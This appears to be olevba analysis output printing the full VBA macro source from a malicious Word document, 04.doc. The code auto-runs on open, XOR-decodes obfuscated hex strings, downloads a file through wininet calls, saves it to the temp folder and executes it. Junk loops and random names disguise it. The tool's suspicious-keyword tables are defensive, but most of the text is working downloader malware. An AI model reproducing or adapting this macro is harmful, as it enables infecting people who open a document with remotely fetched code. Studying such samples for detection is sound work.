Malicious Word macro

olevba 0.26 - http://decalage.info/python/oletools
Flags       Filename
----------- -----------------------------------------------------------------
OLE:MASIHB- 04.doc

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)

===============================================================================
FILE: 04.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 04.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub HARRIS(MARCELINO As Integer)
WELDON
End Sub

Sub autoopen()
HARRIS (332)
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+----------+----------+---------------------------------------+
| Type     | Keyword  | Description                           |
+----------+----------+---------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
+----------+----------+---------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO MOHAMMAD.bas
in file: 04.doc - OLE stream: u'Macros/VBA/MOHAMMAD'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


#If VBA7 And Win64 Then
Public Declare PtrSafe Function SHELBY Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef ERROL As LongPtr) As Long
#End If

Public Function KIRBY(ByRef LAZARO As Object, ByRef HOMER As Object) As Boolean

Dim CHARLEY As Long
Set LAZARO = TRENTON(RILEY)

Dim ADOLFO

Dim ALPHONSE As String
ALPHONSE = MERRILL(4000, HERIBERTO, FEDERICO)

For CHARLEY = 26 To 47
CHARLEY = CHARLEY * 12
Next CHARLEY
ADOLFO = LAZARO & ALPHONSE

If OLLIE(289, ADOLFO) Then
End If


KIRBY = DONOVAN(LAZARO, ALPHONSE, 681)

End Function


Public Function LINWOOD(CHRISTOPER As String, JEROLD As String) As String

    Dim BARNEY As Integer
    Dim NESTOR As Integer


    Dim JOSIAH As Double
 JOSIAH = 312
If JOSIAH > JOSIAH * 8 Then End

    Dim FRITZ As Long
    Dim BRANT As String
    For FRITZ = 1 To (NICKOLAS(JEROLD) / 2)
        BARNEY = HOLLIS(JEROLD, FRITZ)
        NESTOR = QUINCY(CHRISTOPER, FRITZ)
        BRANT = BRANT + CARMELO(BARNEY, NESTOR)
    Next FRITZ
   LINWOOD = BRANT
End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+-------------+-------------------------+
| Type       | Keyword     | Description             |
+------------+-------------+-------------------------+
| Suspicious | Lib         | May run code from a DLL |
| IOC        | wininet.dll | Executable file name    |
+------------+-------------+-------------------------+
-------------------------------------------------------------------------------
VBA MACRO MILLARD.bas
in file: 04.doc - OLE stream: u'Macros/VBA/MILLARD'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



Public Function RILEY() As Object
Dim ISMAEL As String
ISMAEL = LINWOOD(HERIBERTO, PORFIRIO)
Set RILEY = CreateObject(ISMAEL)
End Function


Public Function HOLLIS(ByRef JEROLD As String, ByRef FRITZ As Long) As Double
 HOLLIS = ANIBAL("&H" & (MAURICIO(78, JEROLD, STEFAN(FRITZ), 2)))
End Function


Public Function STEFAN(ByRef FRITZ As Long) As Long
 STEFAN = (2 * FRITZ) - 1
End Function


#If VBA7 And Win64 Then
       Public Function BASIL(ByRef GRADY As LongPtr, NOAH As LongPtr) As Boolean
    #Else
       Public Function BASIL(ByRef GRADY As Long, NOAH As Long) As Boolean
    #End If
        Dim JACQUES As Double
Dim GUADALUPE As String
Dim CLARK As Long
    GUADALUPE = MERRILL(893, HERIBERTO, ULYSSES)

For JACQUES = 22 To 122
JACQUES = JACQUES + 2.25
Next JACQUES
    GRADY = BERNARDO(NOAH, GUADALUPE, vbNullString, 0, MAXWELL, 0)
    BASIL = True
End Function


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+--------------------------+
| Type       | Keyword      | Description              |
+------------+--------------+--------------------------+
| Suspicious | CreateObject | May create an OLE object |
+------------+--------------+--------------------------+
-------------------------------------------------------------------------------
VBA MACRO MARIANO.bas
in file: 04.doc - OLE stream: u'Macros/VBA/MARIANO'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



Public Function NICKOLAS(CLEMENT As String) As Long
NICKOLAS = Len(CLEMENT)
End Function

Public Function ANIBAL(FRANCES As String) As Double
Dim DILLON As Double
For DILLON = 26 To 29
DILLON = DILLON * 6.127
Next DILLON
DILLON = Val(FRANCES)
ANIBAL = DILLON
End Function

Public Function TRENTON(ByRef NICHOLAS As Object) As Object
Set TRENTON = NICHOLAS.GetSpecialFolder(2)
End Function



Public Function OLLIE(WYATT As Long, ByVal ELVIS As String) As Boolean
    #If VBA7 And Win64 Then
        Dim LANNY As LongPtr, EZRA As LongPtr
    #Else
        Dim LANNY As Long, EZRA As Long
    #End If
    Dim SYDNEY As Long
    Dim RUBIN As String * DONNELL, ALPHONSO As String
    Dim REED As Integer, ELMO As Double
    LANNY = HIRAM
    If LANNY = 0 Then
        Exit Function
    End If
    Dim KAREEM As Boolean

    If BASIL(EZRA, LANNY) Then
    End If
    If EZRA = 0 Then
        ELMO = 0
    Else
        JEFFERSON EZRA, RUBIN, DONNELL, SYDNEY
        ALPHONSO = RUBIN
          Dim GAIL As Long
          GAIL = 10
          GAIL = GAIL + 11
If GAIL > GAIL + 112 Then End
        Do While SYDNEY <> 0
            JEFFERSON EZRA, RUBIN, DONNELL, SYDNEY
                    ALPHONSO = ALPHONSO + Mid(RUBIN, 1, SYDNEY)
        Loop
             ELMO = NICKOLAS(ALPHONSO): _
             REED = MAYNARD("JOSEF")
        Open ELVIS _
            For Binary _
        Lock Write As #REED
        Put #REED, , ALPHONSO
        GAIL = GAIL + 127
    If GAIL < 0 Then End
        Close #REED
    End If
    SHELBY EZRA
    SHELBY LANNY
    ALPHONSO = ""
    If ELMO Then
        OLLIE = True
    End If
End Function

Public Function DONOVAN(ByRef LAZARO As Object, ByRef ALPHONSE As String, RANDELL As Double) As Boolean

Set LENNY = CreateObject(LINWOOD _
(HERIBERTO, SEBASTIAN))
Dim DUSTY As Integer
DUSTY = LENNY.Open(LAZARO & ALPHONSE)
End Function

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+-----------------------------------------+
| Type       | Keyword      | Description                             |
+------------+--------------+-----------------------------------------+
| Suspicious | Open         | May open a file                         |
| Suspicious | CreateObject | May create an OLE object                |
| Suspicious | Binary       | May read or write a binary file (if     |
|            |              | combined with Open)                     |
| Suspicious | Write        | May write to a file (if combined with   |
|            |              | Open)                                   |
| Suspicious | Put          | May write to a file (if combined with   |
|            |              | Open)                                   |
+------------+--------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO MARY.bas
in file: 04.doc - OLE stream: u'Macros/VBA/MARY'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Option Explicit

#If VBA7 And Win64 Then
Public Declare PtrSafe Function JEFFERSON Lib "wininet.dll" Alias "InternetReadFile" (ByVal WILFORD As LongPtr, ByVal RUBIN As String, ByVal SHELTON As Long, CARSON As Long) As Integer
#End If
Public Const SEBASTIAN = "163A2B2E236C033935593F26333A2B202C"
Public Const FEDERICO = "1925272E2A3B7767204D33"
Public Const ULYSSES = "2D263A32756D6D3F2A592620343B30212B363C375078263D236D7E737366710378202A2B"
Public Const PORFIRIO = "16313C2B3F362B27221B102C3E2B113631362C287A342F372D36"
Public Const HERIBERTO = "VERNBOBBIE5"



Public Function MAYNARD(CLEMENT As String) As Integer
    MAYNARD = FreeFile
End Function

Public Function QUINCY(ByRef CHRISTOPER As String, ByRef FRITZ As Long) As Integer
QUINCY = Asc(MAURICIO(48, CHRISTOPER, ((FRITZ Mod NICKOLAS(CHRISTOPER)) + 1), 1))
End Function


Public Function MERRILL(AUGUSTUS As Long, HILARIO As String, ENRIQUE As String) As String
AUGUSTUS = AUGUSTUS * 3
MERRILL = LINWOOD(HILARIO, ENRIQUE)

End Function


Public Sub WELDON()
        Dim DEWITT As Double

    Dim ISIDRO As Double
For ISIDRO = 53 To 55
ISIDRO = ISIDRO + 11
Next ISIDRO

JARVIS (1.109)

End Sub

Public Function TRUMAN(REINALDO As Double)

Dim MERRILL As Object


    Dim JOHNATHON As Long
For JOHNATHON = 11 To 86
JOHNATHON = JOHNATHON + 55
Next JOHNATHON


Dim WESTON  As Object


For JOHNATHON = 22 To 33
JOHNATHON = JOHNATHON + 64
Next JOHNATHON


Set WESTON = RILEY
JOHNATHON = JOHNATHON + 66
Dim LEWIS As Boolean

If JOHNATHON > JOHNATHON * 6 Then End
LEWIS = KIRBY(MERRILL, WESTON)
REINALDO = REINALDO + 47
End Function


Public Function FREDERIC(MERLIN As String)
Dim BRENTON As String
BRENTON = "YONG"
TRUMAN 397 + 1.08
BRENTON = BRENTON + "FAUSTINO"
End Function







Sub JARVIS(ROSARIO As Double)

FREDERIC ("GAVIN")
End Sub

Public Function CARMELO(ByRef BARNEY As Integer, ByRef NESTOR As Integer) As String
    Dim CONNIE As Long
    CONNIE = BARNEY Xor NESTOR
    CARMELO = Chr$(CONNIE)
End Function





- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Chr            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | Xor            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | Lib            | May run code from a DLL                 |
| Suspicious | Hex Strings    | Hex-encoded strings were detected, may  |
|            |                | be used to obfuscate strings (option    |
|            |                | --decode to see all)                    |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
| IOC        | wininet.dll    | Executable file name                    |
+------------+----------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO MONROE.bas
in file: 04.doc - OLE stream: u'Macros/VBA/MONROE'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -





Public Const JASPER = "RUSSEL"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function BERNARDO Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal MOHAMMED As LongPtr, ByVal SANDY As String, ByVal TRISTAN As String, ByVal BRIAN As Long, ByVal HOUSTON As Long, ByVal LINCOLN As Long) As LongPtr

#Else
Public Declare Function SHELBY Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef ERROL As Long) As Long
Public Declare Function BOBBIE Lib "wininet.dll" Alias "InternetOpenA" (ByVal ALPHONSO As String, ByVal MONROE As Long, ByVal DOMINIQUE As String, ByVal TRISTANO As String, ByVal BOOKER As Long) As Long
Public Declare Function JEFFERSON Lib "wininet.dll" Alias "InternetReadFile" (ByVal WILFORD As Long, ByVal RUBIN As String, ByVal SHELTON As Long, CARSON As Long) As Integer
Public Declare Function BERNARDO Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal MOHAMMED As Long, ByVal SANDY As String, ByVal TRISTAN As String, ByVal BRIAN As Long, ByVal HOUSTON As Long, ByVal LINCOLN As Long) As Long
#End If

Public Const DONNELL = 4000
Public Const DENNY As String = "EMERY"
Public Const ALDEN = 1
Public Const MAXWELL = &H4000000

#If VBA7 And Win64 Then
Public Declare PtrSafe Function BOBBIE Lib "wininet.dll" Alias "InternetOpenA" (ByVal ALPHONSO As String, ByVal MONROE As Long, ByVal DOMINIQUE As String, ByVal TRISTANO As String, ByVal BOOKER As Long) As LongPtr
#End If


Public Function MAURICIO(SAMMY As Long, ByRef CLEMENT As String, ByRef BARNEY As Integer, ByRef NESTOR As Integer) As String
    MAURICIO = Mid$(CLEMENT, BARNEY, NESTOR)
    SAMMY = SAMMY + 23
End Function
#If VBA7 _
    And Win64 Then
Public Function HIRAM() As LongPtr
 #Else
Public Function HIRAM() As Long

 #End If

 HIRAM = BOBBIE(DENNY, ALDEN, vbNullString, vbNullString, 0)
End Function




- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Lib            | May run code from a DLL                 |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
| IOC        | wininet.dll    | Executable file name                    |
+------------+----------------+-----------------------------------------+